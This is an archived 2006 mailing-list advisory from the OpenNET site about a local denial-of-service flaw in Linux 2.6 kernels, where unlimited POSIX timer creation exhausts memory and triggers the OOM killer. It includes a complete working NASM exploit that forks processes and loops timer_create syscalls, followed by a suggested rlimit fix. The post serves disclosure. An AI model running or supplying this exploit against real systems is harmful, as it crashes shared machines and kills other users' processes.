The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Linux Kernel Local DoS vulnerability.


<< Previous INDEX Search src / Print Next >>
Date: Wed, 5 Apr 2006 01:24:40 +0200
From: fingerout <fingerout@gmail.com.>
To: [email protected]
Subject: Linux Kernel Local DoS vulnerability.
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
X-Virus-Scanned: antivirus-gw at tyumen.ru

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello.
I'd like to present one of Linux Kernel vulnerabilities. As far as I
know, this one affects 2.6.x kernels.

Problem
- --

The problem lies in sys_timer_create() in Linux/kernel/posix-timers.c.
Each time user creates a posix timer, some kernel memory is allocated.
Since count of timers that can be created by user is limited only by
sigqueue size (ex. 4294967295 in Debian) every local user can exhaust
all avaible memory which will trigger oom_killer (mm/oom_kill.c). If a
process itself uses a small amount of memory, it's oom_score will be
low, so all other processes would be killed.

Exploit
- --

- --------------8<---------------------


;nasm -f elf noHeaven.asm
;ld -s -o noHeaven noHeaven.o

section .text
    global _start

count   equ     8       ; threads count - do it quicker

_start:
        mov     ebx, count
        call    create_threads
        jmp     done
_pause:
        mov     eax,29
        int     0x80
        ret
create_threads:
        mov     eax,2
        int     0x80
        test    eax,eax
        jz      consume
        dec     ebx
        test    ebx,ebx
        jnz     create_threads
        ret
consume:
setsid:         ;       so we won't get counted as one thread in oom_killer=
()
        xor     ebx,ebx ;       each task will have about 20 oom_score whic=
h
        mov     eax,66 ;        is less than 'init' and others
        int     0x80
        push    eax
loopek:
        mov     eax,259
        mov     ebx,0
        mov     ecx,0
        mov     edx,esp
        int     0x80
        jmp     loopek
done:
        xor     ebx,ebx
        mov     eax,1
        int     0x80


- --------------8<--------------------



Fix
- --
In my opinion the easiest way to defend is to enforce pending signals
queue size rlimit (ulimit -i).

Vendor notification status
- --
Vendor refused to fix this kind of bugs.


- --
Regards,
fingerout
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)


iD8DBQFEMwAY3AGvlpYpo4cRApESAJ9PPyZaHz5HExrh15pQdH51I3di+wCfee87
hqrfQZpKiyqugdZoabAHy9g=3D
=3D9y9Y
-----END PGP SIGNATURE-----


<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру